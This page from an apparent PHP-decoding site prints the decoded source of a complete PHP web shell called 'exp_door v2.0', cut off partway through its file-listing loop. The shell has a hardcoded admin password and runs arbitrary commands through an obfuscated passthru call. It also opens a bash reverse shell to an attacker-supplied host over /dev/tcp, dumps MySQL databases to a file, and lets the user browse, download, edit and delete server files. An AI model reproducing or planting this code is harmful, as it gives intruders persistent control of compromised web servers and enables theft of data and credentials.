Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (isset($_POST['load']) && !empty($_POST['choose'])) { $file = $_POST['choos..
Decoded Output download
<?php
if (isset($_POST['load']) && !empty($_POST['choose'])) {
$file = $_POST['choose'][0];
if (is_readable($file)) {
if (file_exists($file)) {
if (ob_get_level()) {
ob_end_clean();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
}
function showForm() {
$string = "<form action='" . $_SERVER["SCRIPT_NAME"] . "' method='post'>";
$string.= "<label>Login:</label>" . '<br>';
$string.= "<input type='text' name='login'>" . '<br>';
$string.= "<label>Passwd: </label>" . '<br>';
$string.= "<input type='password' name='pass'>" . '<br>' . '<br>';
$string.= "<input type='submit' name='log' value='Sign up'>";
$string.= "</form>";
return $string;
}
function check($login, $pass) {
if (($login == "admin") && ($pass == "664908cc9fc402a58a45e7f69e38724f")) return true; //testpass
else return false;
}
if (isset($_POST['log'])) {
$login = $_POST['login'];
$pass = md5($_POST['pass']);
if (check($login, $pass)) {
setcookie("login", $login);
setcookie("pass", $pass);
header("Refresh:0"); // header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
} else echo "Access denied!";
}
if (isset($_POST['exit'])) {
setcookie("login", $login, time() - 3600, '/');
setcookie("pass", $pass, time() - 3600, '/');
header("Refresh:0");
}
?>
<!DOCTYPE html>
<html>
<head>
<title>exp_door v2.0</title>
<link href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAOKAAADigGnjPUfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAg9JREFUeNrEV4GRgyAQjJkUQAl+BW8JlGAJfgeWQAmW4HdgCZRgCSmBDnhufsnfXBDBOB9nbhI54Ja95cDGe39553Mt6dQ0TUv2NgDhoeDdBrjuPwC4YHrDN70CoCnVQFgpgWhDfyfaaYKP0H4/AuAmJusF1RRsRlBLFvpoAeIL7YZ+q4EQA2CBghtmNBE51mAKKfARFNiIY8m3wE/jhujbs7zzNxD9GfFu8B6N8q9Y/xZMeTD3MgAVWWBtgwCxchDoE0FMLwEQk/GVdgicBAF/9LW5+a8JtQ/BxmAKTRa/mumGGKEg32j6FNtRiRqyL0Kx6iXSzsQ37zBE1qGNs6OrU4Ad4RFcscnGRF+uiVkI1Ul9lAKIkw6JFd35qhhDMSAXqDkkQraKUTDiBZBJpECaOgrAyvwhmK+w9XAdYJTrDWZKzRwVoecaED7NynSpxfKtahlIVTldwIRDyjT0MzPdqBIAs5jQJhS+mfvkSv92li0B0FYElDtDZcq6eRJ3pnO3k+s10dZvpGsUh5upOYy0MCVOywjEJcY9FSX0f6ThVnBhsRmfC4fWgsNoFe5RvGt2y6q+lJ7xxKtax07Yy6X06rSTor0UOATupVbOAKDYjhkSu+mhG6TpXnUjKgRh+Ep3akt/OgBRPR2KjoL1zDdU3wkrUzFlClSfGtec/XWMj1jN7oI2t5Wbd3+e/wgwAGD4W8SG5D6lAAAAAElFTkSuQmCC" rel="icon" type="image/png" />
<meta charset="utf-8">
<style type="text/css">
html{background: #F1F3F5;}
body{margin: 0;background: #F1F3F5;}
pre {margin: 0;}
img{vertical-align: middle;}
.ya{width: 178px!important;box-shadow: none;border-collapse: separate;}
.col{width: 0;white-space: nowrap;padding-right: 50px;}
.all{font-family: Arial, Helvetica, sans-serif;font-weight:bold; font-size : 12px;}
a, a:visited{color: #1d5405;text-decoration:none;}
#main {margin: auto;background: #F1F3F5;min-height: 100vh;}
#tab{background: #E9ECEF;padding-left:1px;border: 1px solid #cccccc;margin: 5px}
#result{background: #E9ECEF;padding:5px;border: 1px solid #cccccc;margin: 5px;min-height: 68vh;}
#firsttab{width:100%;border-collapse:collapse;}
.hat{padding-right:5px;padding-left:5px;font-weight: normal;}
.block-hide {margin: 0 auto;padding:5px;}
.to-be-changed{position: absolute;z-index:10;width: calc(100% - 10px);background: #F1F3F5;}
.to-be-changed:target{display: none;}
.open{display: block;font-weight: 400;margin: 0 5px 5px 5px;position: absolute;z-index:1;width: calc(100% - 20px);}
.hat form{color: red;font-size:16px;text-align: center;width: 200px;left: calc(50% - 100px);top: 2%;position: absolute;}
.openf{border: none;background: #E9ECEF00;cursor: pointer}
.demos{
margin-left: 5px;
padding: 4px;
text-align: center;
background: #0d0d0d1a;
border: 1px solid #cccccc;
font-weight: bold;
width: 64px;
border-radius: 3px;
}
.demolink{background-color: #f8f4f400!important;color: #1d5405!important;}
.cbox{width:18px}
table.to td {
overflow:hidden;
}
table.to td:nth-of-type(1) {
width:auto;
}
table.to td:nth-of-type(2) {
width:50px;
}
table.to td:nth-of-type(3) {
width:auto;
}
tr.note:hover {background: #f5f5f5;}
tr.note:focus {background-color: #8FBC8F;outline: 1px solid grey;}
.modalbackground {
margin: 0; /* */
padding: 0; /* */
position: fixed; /* */
top:0; /* */
bottom:0;
left:0;
right:0;
background: rgba(0,0,0,0.5); /* */
z-index:100; /* */
opacity:0; /* */
pointer-events: none; /* */
}
/* - */
.modalbackground:target {
opacity: 1; /* */
pointer-events: auto; /* */
text-align: center
}
/* */
.modalwindow {
display: inline-block;
margin: 10% auto;
padding: 1%;
background: #fff;
border-radius: 3px;
font-size: 16px;
}
.modalwindow2 {
display: inline-block;
margin: 2% auto;
padding: 1%;
background: #fff;
border-radius: 3px;
font-size: 16px;
height: 80%;
width: 90%;
}
/* */
.modalwindow p {
padding: 0;
margin: 4% 0 8% 0;
text-align: center;
}
.modalwindow2 p {
padding: 0;
margin: 4% 0 4% 0;
text-align: center;
}
/* */
.modalwindow a {
display: block;
color: #fff;
background: #369;
padding: 1%;
margin: 0 auto;
width: 50%;
border-radius: 3px;
text-align: center;
text-decoration: none;
}
.modalwindow2 a {
display: block;
color: #fff;
background: #369;
padding: 6px;
margin: 0 auto;
width: 120px;
border-radius: 3px;
text-align: center;
text-decoration: none;
}
/* */
.modalwindow a:hover {
background: #47a;
}
#inner1{float:right;}
#inner2{float:right;clear: right;}
hr {border:1px !important;height: 1px;background-color:#ccc;width: 100% !important;}
.hide{font-size: 14px; margin-right: 20px;background-color:#F1F3F5!important;color: #1d5405!important;margin-left: 1px;font-weight: bold;text-decoration: underline!important;}
.new{font-size: 14px;font-weight: 400;width: 100%;}
.center{font-size: 16px;font-weight: 400;}
.error{text-align:center;font-size:24px;color:red;display:block;margin:0 auto;}
.a_size{font-size:18px;}
td:not(:first-child){padding-left: 8px;} /* nth-child(n+2)*/
.area{width: 96%;height: 85%;border: 1px solid #cccccc;margin: 10px auto;overflow-y: auto;word-wrap: break-word;text-align: left;font-weight: normal;font-size: 12px}
.bt{color:#008800;}
.pm{font-weight: 700;font-size: 14px;color:red}
</style>
</head>
<body>
<?php
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(0);
function printPerms($file) {
$mode = fileperms($file);
if ($mode & 0x1000) {
$type = 'p';
} else if ($mode & 0x2000) {
$type = 'c';
} else if ($mode & 0x4000) {
$type = 'd';
} else if ($mode & 0x6000) {
$type = 'b';
} else if ($mode & 0x8000) {
$type = '-';
} else if ($mode & 0xA000) {
$type = 'l';
} else if ($mode & 0xC000) {
$type = 's';
} else $type = 'u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if ($mode & 0x800) $owner["execute"] = ($owner['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x400) $group["execute"] = ($group['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x200) $world["execute"] = ($world['execute'] == 'x') ? 't' : 'T';
$s = sprintf("%1s", $type);
$s.= sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.= sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.= sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
if (strpos($s, '---', -3)) {
return '<font color="#FF0000"><b>' . $s . '</b></font>';
} elseif (strpos($s, 'rw', -3)) {
return '<font color="#008000"><b>' . $s . '</b></font>';
} else {
return '<font color="#000000"><b>' . $s . '</b></font>';
}
}
function numPerms($file) {
$numperm = substr(sprintf('%o', fileperms($file)), -4);
if ((int)(substr($numperm, 0, 1)) > 1) {
return '<font color="#FF8C00"><b>' . $numperm . '</b></font>';
} else {
return '<font color="#000000"><b>' . $numperm . '</b></font>';
}
}
$home = '
<div class="all" id="main">
<div class="block-hide">
<div class="hat">
<div>
<div id="inner1"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAYAAACOEfKtAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAACKySURBVHja7J1psKR3dd5/777022+vt+9+586dVTMajUYaSSOBVAgkBMYYUlSwscEpnNiFE6iQ2E5sV1J2JSZePoQPdsxSGBvHQJANAWNjC6MFJCSEkNCMZubOzJ3t3rlr39773dd8aDHlDQcJMALmfOyu6v73U+ec/znPec7bQp7nXLMXb+I1CL49k19qB2rx5J6U3sRy8pU3Ly0tHbtl/6s+OC4ceKTEbUvXAPwW7Ilnn3jzanfxN0RriziOefTRR4/un8l+frZRWZ2z9vovtfMK34scGHJBTfGtmNgscWQVYJNPvPmvnn3/HzSzc1ZuCCCBpmlkXQUp0Ni/58bH99UOP/D46afeOD+5/8v7K8fulxBSH7cWhl6pou16ssSxpR8KD2wP2jPN3uqFdrv9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gUrEBnn/KR4Rt26OVhed3T3q9HocPH76qL9R1iXPnzpUeeuihn8t6zzV+6AD8v3/8wXcePHjD1okTJ7ArRRRJZXl5C78XMW1kNOQWEiq9XspwIDIc5KhKBnFAHKXYRpG4vUb7mb848qn/8ZYtLnzizT/wvfClS5ekxcXFux564HP/4c/v/+jrq9USc+NV6gWZsN+lUChgiAK1WkAYRui6zvp6lyiELO8zHA5pt3O0fMhYpUq9Xmdra5swWec33/OeT9zyxs7M/K4bHth98HszXP+uP8X3zIVlazgcNrqd9oSYxWkWurWpRm15Y3314HNPPf6JJx58kILoYuVb9HoB07uOst3r0Oq20XSJuSmbra0t+n2fer3Eq+44QKvV4sp6m0QssOnmlBvz0R0vu/vDN9965/++/o57H/+B8sD9u3Y4gAP8nRlu94FP7+h2u0/u27evOj9u9utaf2xxcXGHXp5YftNPvPlPhp5T6/Vbc/328g379u1T+/1BY3V1ldXVVQqFAqZpctOxVzyp1mZPGaXJM5NT81+XNc35gfPAbxral1eknfNzKd/nJlz7M4IfADrrGoA/xPb/BgD5k2R5kCuEewAAAABJRU5ErkJggg==" /></div>
<div id="inner2"><p style="float:right;margin-block-end:3px;font-size:10px">exp_door v2.0</p></div>
</div>';
echo $home;
if (isset($_POST['submitBtn'])) {
$actpath = isset($_POST['path']) ? $_POST['path'] : __DIR__;
chdir($actpath);
} else {
$actpath = isset($_GET['path']) ? $_GET['path'] : __DIR__;
chdir($actpath);
}
$login = $_COOKIE['login'];
$pass = $_COOKIE['pass'];
if (check($login, $pass)) {
$a1 = 'pas' . 'sth' . 'ru';
$cwd = $_GET['path'];
if (empty($cwd)) {
$cwd = getcwd();
}
$uname = php_uname();
$php = phpversion();
$temp_file = sys_get_temp_dir();
$df = disk_free_space("/");
$dt = disk_total_space("/");
$freeSpace = $df / 1048576;
$freeUnit = 'Mb';
if ($freeSpace >= 1024) {
$freeSpace/= 1024;
$freeUnit = 'Gb';
}
$totalSpace = $dt / 1048576;
$totalUnit = 'Mb';
if ($totalSpace >= 1024) {
$totalSpace/= 1024;
$totalUnit = 'Gb';
}
$freePer = round($df / $dt * 100.0, 2);
if ($freePer > 100) $freePer = 100;
echo '<pre>';
echo 'id | ';
echo $a1("id");
echo 'uname | ' . $uname . '<br>';
echo 'tmp | ' . $temp_file . ' ' . substr(sprintf('%o', fileperms($temp_file)), -4) . '<br>';
echo 'php | ' . $php . '<br>';
echo 'server| ' . $_SERVER['SERVER_NAME'] . ' ' . $_SERVER["SERVER_ADDR"] . ' ' . $_SERVER['SERVER_SOFTWARE'] . '<br>';
echo 'client| ' . $_SERVER["REMOTE_ADDR"] . ' ' . $_SERVER[HTTP_ACCEPT_LANGUAGE] . '<br>';
echo 'date | ' . date("Y-m-d-H:i:s e P") . ' GMT' . '<br>';
echo 'HDD | ' . "Total: " . round($totalSpace, 2) . " " . $totalUnit . " ";
echo "Free: " . round($freeSpace, 2) . " " . $freeUnit . "(" . $freePer . "%)" . '<br>';
echo 'cwd | ' . $cwd . ' ' . "[" . numPerms($actpath) . "] " . printPerms($actpath) . '<hr>';
echo '</pre>';
echo '</div>';
function showContent($path) {
if ($handle = opendir($path)) {
$up = substr($path, 0, (strrpos(dirname($path . "/."), "/")));
if ($up == NULL) {
$up = "/";
}
$HTML = '
<div class="new">
<label class="demos" style="display:inline-block"><a class="demolink" href="#tools">Tools</a></label> </td>
<form style="display:inline;float:right" method="POST">
<input style="margin-right: 5px;" type="submit" name="exit" value="EXIT"/>
</form>
</div>
<div class="open">
<div>
<hr>
<form action="" style="display:inline" method="POST">
<a class="hide" href="">Hide tools</a>
<input type="submit" name="info" value="phpinfo"/>
<input type="submit" name="down" value="downloaders"/>
<input type="submit" name="fun" value="functions"/>
</form>
<form style="display:inline" method="POST">
<input type="text" name="cmd" placeholder="CMD">
</form>
<hr>
<div style="float:left;margin-right:12px;">
<form method="POST">
<input style="width:178px" type="text" name="name" placeholder="DB name" required><br/>
<input style="width:178px" type="text" name="user" placeholder="DB user" required><br/>
<input style="width:178px" type="password" name="pass" placeholder="DB pass" required><br/>
<input style="width:178px" type="text" name="host" placeholder="MySQL host" required><br/>
<input style="width:178px" type="text" name="port" placeholder="Port"><br/>
<button style="width:196px" type="submit" name="DB">Save DB to file.sql</button><br/><br/><br/>
</form>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">Base64 encode/decode:</b></label>
<input style="width:178px" type="text" name="base64">
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="submit" value="Encode"></td>
<td style="padding: 0;border: none"><input style="margin-right: 8px;width: 96px;" type="submit" name="submit2" value="Decode"></td>
</tr>
</table>
</form>
</pre>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">URL encode/decode:</b></label>
<input style="width:178px" type="text" name="url">
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="submit_u" value="Encode"></td>
<td style="padding: 0;border: none"><input style="margin-right: 8px;width: 96px;" type="submit" name="submit_u2" value="Decode"></td>
</tr>
</table>
</form>
</pre>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">HEX encode/decode:</b></label>
<input style="width:178px" type="text" name="hex">
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="submit_hex" value="Encode"></td>
<td style="padding: 0;border: none"><input style="margin-right: 8px;width: 96px;" type="submit" name="submit_hex2" value="Decode"></td>
</tr>
</table>
</form>
</pre>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">BackConnect:</b></label>
<input style="width:178px" type="text" name="host_" placeholder="Enter host|port" required>
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="reverse" value="Reverse"></td>
</tr>
</table>
</form>
</pre>
</div>
<hr style="clear:both">
</div>';
echo $HTML;
$a1 = 'pas' . 'sth' . 'ru';
$b2 = 'ex' . 'ec';
$down = "which get;which wget;which lynx;which curl;which fetch;which links;";
$aTwo = "ba" . "se" . "6" . "4" . "_" . "en" . "co" . "de";
$bTwo = "ba" . "se" . "6" . "4" . "_" . "de" . "co" . "de";
$fun = $bTwo("cGhwIC1yICdwcmludF9yKGdldF9kZWZpbmVkX2Z1bmN0aW9ucygpKTsnIHwgZ3JlcCAtRSAnIChzeXN0ZW18ZXhlY3xzaGVsbF9leGVjfHBhc3N0aHJ1fHByb2Nfb3Blbnxwb3BlbnxjdXJsX2V4ZWN8Y3VybF9tdWx0aV9leGVjfHBhcnNlX2luaV9maWxlfHNob3dfc291cmNlKSc");
if (isset($_POST['cmd'])) {
echo '<pre>';
$a1($_POST['cmd']);
echo '</pre>';
}
if (isset($_POST['info'])) {
echo phpinfo();
}
if (isset($_POST['down'])) {
echo '<textarea cols=37 rows=7 style="padding: 5px;resize: none;">';
$a1($down);
echo '</textarea>';
}
if (isset($_POST['fun'])) {
echo '<pre>';
$a1($fun);
echo '</pre>';
}
if (isset($_POST['DB'])) {
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$port = $_POST['port'];
$link = new mysqli($host, $user, $pass, $name, $port);
if ($link->connect_error) {
die("<b class='pm'>Database access is not available:</b><br>" . $link->connect_error);
exit();
} else {
$b2('mysqldump --port=' . $port . ' --user=' . $user . ' --password=' . $pass . ' --host=' . $host . ' ' . $name . ' > file.sql');
echo '<b class="bt" style="font-size: 14px">Dump completed!</b>';
}
}
if (isset($_POST['submit'])) {
$base64 = $_POST['base64'];
$encode = $aTwo($base64);
echo '<p class="pm">' . "Encode base64: " . '</p>' . $encode;
}
if (isset($_POST['submit2'])) {
$base64_d = $_POST['base64'];
$decode = $bTwo($base64_d);
echo '<p class="pm">' . "Decode base64: " . '</p>' . htmlentities($decode);
}
if (isset($_POST['submit_u'])) {
$url = $_POST['url'];
$encode_u = urlencode($url);
echo '<p class="pm">' . "Encode url: " . '</p>' . $encode_u;
}
if (isset($_POST['submit_u2'])) {
$url_d = $_POST['url'];
$decode_u = urldecode($url_d);
echo '<p class="pm">' . "Decode url: " . '</p>' . htmlentities($decode_u);
}
if (isset($_POST['submit_hex'])) {
$h = $_POST['hex'];
$encode_hex = "0x" . bin2hex($h);
echo '<p class="pm">' . "Encode HEX: " . '</p>' . $encode_hex;
}
if (isset($_POST['submit_hex2'])) {
$h2 = $_POST['hex'];
$decode_hex = hex2bin(substr($h2, 2));
echo '<p class="pm">' . "Decode HEX: " . '</p>' . htmlentities($decode_hex);
}
if (isset($_POST['reverse'])) {
$back = explode("|", $_POST['host_']);
$a1("bash -c 'bash -i &> /dev/tcp/$back[0]/$back[1] 0>&1'");
}
$HTML2 = '</div>
<div id="tools" class="to-be-changed">
<form class="all" id ="tab" action="' . $_SERVER['PHP_SELF'] . '" method="post" name="path">
<table class="to">
<tr>
<td><a href="' . $_SERVER['PHP_SELF'] . '?path=' . __DIR__ . '"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAAAKjSURBVHja7JfPaxNREMe/s/uiSUOaRVopJZ701rOgPbVQK1g8eSmIf4GgBQ96UdCC6E3Bg39Bi/UmeGnVeohpUQSRiqCeREOREtIkbZLu7hsP26Qv6b7NJo3kYAfmsPtedj4zb368EDOjl2Kgx3II0HMAoT5k01dGE7HqS5auFfQjBvKOjE4NnJnLdGJUTfwGAFnNTeywbakbNFVigYoTADJdjYBtlykaMSGlBLPcA5PS5/COjG+sXKLamh8oEXlbDQNghmGKzReL358CqPgCMEtISXBdB67r6o17uGPVcnGsZZIZXpoJIWCaAlPjKQB4pAFguK6D2KlbSKQm6x4cVKSUKP5aRPnHA5C9ldRWQS2M3TRei0L/ifOQUsJxbH0O5PIl9A3Fwb+fwFVC32m7Vp0gIoAYm4UyhnUAIyfjiMdMIPc8ZD05TRaFfg8JpAYJtkX6CBwVVQB94Q02Gw5aZwcggYgIAAj8iGrIz1PVkC467ABoBaDznESjAljKZEEETJxVTlVWgp0IakShPN/V1c953H68BgBIJi2cHun3DBtRDyJkjoQfRorxj1+3ceN+BqYBmAYwM5vGp28V/dF0cxq+Xyvg2t23MAw06NU7b/DhS+HfAixlspiZTYMIMJqUCLh+L41XK9nWyawDaNX9zo0OK92tUWvSkJBqEqsaGIEQ51jjXJ6fxvL8dMO7A41j33puApMMGAyoQ1JKgNlba8eRfQBev97rWvobDeC4ANgb2Y7bRhSb1sS+2V0rN00EVhcu7D6b9Xp/9+xiHaYVfCAAKOJvXP2wrtWGnhmsB9jYSpYGkuR5xwIdi18EyARIoFjaLiXU1+qsTw1Fj12eTNw8PmhZLFtdydq/lKz/yecXXpce/lzfyfkCHP4z+i8B/g4A/9UanjCKwiYAAAAASUVORK5CYII=" title="Home"/></a></td>
' . "<td class='col'>▲ <a href='" . $_SERVER['PHP_SELF'] . "?path=$up'>Up one level</a></td>" . '
<td><a href="' . $_SERVER['HTTP_REFERER'] . '"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAAANJSURBVHja7NVLbxtVHAXwEyRgxSKsIHFci3g8nhnP2/Ow0yR+NLE9Gc8jCQ5OxkmaJm3Io1CpQaISpDQERSgoKtRFwY3bJZ8AdVupH4EVZYEEEiB1QRfdgNTLYvpKqWhpQAKJxdld3Z/OvX/dC0II/sngf+DfBfCTIvhJEdKMDLEhg5vgwdV4CIEE2mFekmbkZuoN4U2uxoOb4JH0WYgNGfJRBcqxNJgxFkIggRnlEC8nEC8nngDUeLDjHFJ1oVNbMi4XN48QbcnYSi/qUE9oYF9PPTsgBBLEhgyxIQvZtcPX7ItVYn02QvQVY11fNg8OpOoC5Dk1lz9buFHddYjX9slI0ybZ04fPmW9nocynO5hRDsKU9BeBugghkKAuaPOFzSO3nJZH3D2PuJc84rRcMrxd/mngzOB1863sl+KM/I48q5hCIL34VIAQSBAC6WV91Txf+qRMnEsPNn84Tssl1S8cYjerZGhr+HbmVPYreU4dZnzuzwF5Tl0zTmaujlywidt+/ObuPXTPI96eT7y2T5yWS4ofDf2qzKc3uQn+hYMDjwG9tk8q5y2SXtSbtMMc7Ii8RxrcW+Pt+aSyYxGxIZ/qHaae7ZJL2+Wfc2fzN/IbxZtDH5d+K+9U7lR3HeK2wxZe2yf5Dwo/MqOcRFn0U43pt+GYesT+vEqMVXMjXkk8F7cSrzDjKUU+ps4aq+blwfdz31mfWnf8tk+quw5RF7XmHxvUwwbSUQXitAxpVoE0rQh9a/3X7ItVMnLBJvqysZ70WPSWKDDjKSgLaVA2Da7GR/QV40xho3jTabmkcK74Q7ySiO8HpsIGvWUKsfxriA7EQDsMUnWhU18OnwpjxdxSj2tgfA7sXYB2GQiBBHlOBTPGqoPv5b4u71QIPykG+4Ce7CH0ZA+h2+y5ny49guhADEmXfZ6fEt9NumyddpJI2DRol7kP8FMi1AUNlEWDGeXSufX8L8bJzJV9QCQTfTQdXVqkI9ofQ9JjkaoLIapF8KrajWh/DOoJDbQTNlCOp5GwaVAWDXVR+zB7uu+bJwHo0iJ4GIhkoug2QiQ6cBdwGXA1HtKs/OAep5U+bUn//m8DeksUKIsGZYeJVxKdzBi3/d//Mn8fAHPpK2jpQ02eAAAAAElFTkSuQmCC" title="Go back"/></a></td>
<td>Path: <input style="border: 1px solid #cccccc;width: 250px;" name="path" type="text" value="' . getcwd() . '" />
<input style="border: 1px solid #cccccc;" type="submit" name="submitBtn" value="Go dir" />
</td>
</tr>
</table>
</form>';
echo $HTML2 . "<div class='all' id='result'><form method='post' action='#openModal'><table id='firsttab'>";
echo "<tr style = 'background-color: #73afe4;color: #0E175D;height: 24px;'><td></td>" . "<td>" . "Name" . "</td>" . "<td>" . "Action" . "</td>" . "<td>" . "Permissions" . "</td>" . "<td>" . "Owner/Group" . "</td>" . "<td>" . "Modify" . "</td>" . "<td>" . "Size" . "</td></tr>";
$alldir = array();
$allfile = array();
$alllink = array();
while (false !== ($file = readdir($handle))) {
if (is_link($path . '/' . $file)) {
array_push($alllink, $file);
} elseif (is_file($path . '/' . $file)) {
array_push($allfile, $file);
} elseif (is_dir($path . '/' . $file)) {
array_push($alldir, $file);
}
}
closedir($handle);
} else {
echo '<div><span class="error">Can\'t open folder!<br><br><a class="a_size" href="' . $_SERVER['HTTP_REFERER'] . '">--> Go back <--</a></span></div>';
}
sort($alldir);
sort($allfile);
sort($alllink);
$allfiles = array_merge($alldir, $allfile, $alllink);
foreach ($allfiles as $file) {
if ($file != "." && $file != "..") {
$fName = $file;
$userinfo = posix_getpwuid(fileowner($file)) ["name"] . "/" . posix_getgrgid(filegroup($file)) ["name"];
if (strlen($path) == 1) {
$file = $path . $file;
} else {
$file = $path . '/' . $file;
}
if (is_link($file)) {
$disppath = readlink($file);
if (strpos($disppath, "/") != 0) {
$disppath = "/" . $disppath;
}
if (is_file(readlink($file))) {
echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'>➦" . "<input class='openf all' type='submit' name='view' value=" . $fName . ">" . "</td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "</td>" . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>LINK</td></tr>";
} else {
echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'>➦<a href='" . $_SERVER['PHP_SELF'] . "?path=$disppath'>$fName</a> </td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "</td>" . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>LINK</td></tr>";
}
} elseif (is_file($file)) {
$endsize = "";
$fullsize = filesize($file);
if ($fullsize < 1024) {
$endsize = "B";
} elseif ($fullsize < 1048576) {
$endsize = "KB";
$fullsize/= 1024;
} elseif ($fullsize < 1073741824) {
$endsize = "MB";
$fullsize/= 1048576;
}
echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAAAFgSURBVHjafJJBbtVAEETfOF8iipFyLlY5AKwQ2ygHQBHrZIMQCnCEZIVEJNacIuw5wk9ifkJ3FYux/ze2w0gtj9xTVd3VXWxj25dXP1it9lg6Nz9/8e70VVnKlYGgu3+gfb6/+Oji87UjxMnx0SzfDBdhJHkaYNvm5PiofLz45ojwIkFDoWmaMg0oBUCS37x+wacv37HtWQt39xvag2fzHkvh7PyKtt3HNgbW647Tty9rO3Yt/e72t3uyWWTKj4/hzeaPu+7B7z983b5dTT2YqmcaO4kAO8kEW9s3q6kHY4KItA0RxoZMkIRd5gTjCnbK6pXVg2sF2nm4XMFU+Z/ypeUWRJ3GVHkAD1/XzZgTUMo2OShL7nuuYAmUT3hAikwRkX3ZAxAyKzgz0VMehNwrDrsxHp97Eyt4hN8R2BApQiJD9R5JZhJhIkVm1umM1mW7yuvbbveT/x8bDg/bAvB3ANDOll1QTtuSAAAAAElFTkSuQmCC' /> " . "<input class='openf all' type='submit' name='view' value=" . $fName . ">" . "</td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<input style='border: 1px solid #cccccc;' name='edit' value='E' type='submit' title='Edit'>" . "<input style='border: 1px solid #cccccc;font-size: 14px;padding-left: 6px;padding-right: 6px;' name='load' value='⬇' type='submit' title='Download'>" . "</td>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>" . round($fullsize, 2) . " " . $endsize . "</td></tr>";
} elseif (is_dir($file)) {
